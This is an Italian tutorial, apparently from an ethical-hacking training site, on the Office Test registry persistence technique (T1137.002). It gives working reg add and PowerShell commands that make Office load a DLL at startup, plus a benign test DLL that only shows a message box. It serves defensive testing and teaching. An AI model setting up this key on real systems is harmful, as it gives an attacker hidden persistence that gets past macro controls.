Office Test: Persistenza Nascosta tramite Registry Key (T1137.002)
La tecnica Office Test sfrutta una funzionalità di debug poco conosciuta di Microsoft Office per ottenere persistenza su sistemi compromessi. Attraverso la creazione di una chiave di registro specifica, un attaccante può forzare il caricamento automatico di una DLL malevola ogni volta che viene avviata un'applicazione Office.
Questa tecnica si posiziona nella fase di Persistence (TA0003) della kill chain, permettendo agli attaccanti di mantenere l'accesso anche dopo riavvii del sistema o cambio di credenziali. La chiave di registro in questione non viene creata durante l'installazione standard di Office, rendendola particolarmente insidiosa perché passa inosservata ai controlli di routine.
Attualmente un solo gruppo APT ha documentato l'uso di questa tecnica, ma la sua semplicità di implementazione e l'efficacia nel bypassare i controlli tradizionali la rendono una minaccia concreta per qualsiasi organizzazione che utilizzi Microsoft Office.
Per testare questa tecnica in ambiente controllato, iniziamo creando la struttura di registro necessaria. La chiave può esistere sia a livello utente che di sistema:
reg add "HKCU\Software\Microsoft\Office test\Special\Perf" /t REG_SZ /d "C:\Users\Public\malicious.dll" /f
Oppure per persistenza a livello di sistema (richiede privilegi elevati):
reg add "HKLM\Software\Microsoft\Office test\Special\Perf" /t REG_SZ /d "C:\ProgramData\malicious.dll" /f
Il gruppo APT28 ha utilizzato specificamente la chiave HKCU, probabilmente per evitare la necessità di privilegi amministrativi. Per creare una DLL di test che simuli il comportamento malevolo, puoi utilizzare un semplice codice C che logga l'esecuzione:
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
MessageBoxA(NULL, "Office Test Persistence Active", "Test", MB_OK);
}
return TRUE;
}
Compila la DLL e posizionala nel percorso specificato nella chiave di registro. Al successivo avvio di Word, Excel o PowerPoint, la DLL verrà caricata automaticamente nel processo Office.
Per automatizzare il test su più macchine, considera questo script PowerShell:
$dllPath = "\fileserver\share\test.dll" New-Item -Path "HKCU:\Software\Microsoft\Office test\Special" -Force Set-ItemProperty -Path "HKCU:\Software\Microsoft\Office test\Special\Perf" -Name "" -Value $dllPath
Un aspetto interessante è che la DLL viene caricata senza alcun warning all'utente, bypassando completamente i controlli macro. Questo la rende particolarmente efficace contro organizzazioni che hanno disabilitato le macro ma continuano a utilizzare Office.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Scarica la guida gratuita e segui il percorso corretto fin dal primo passo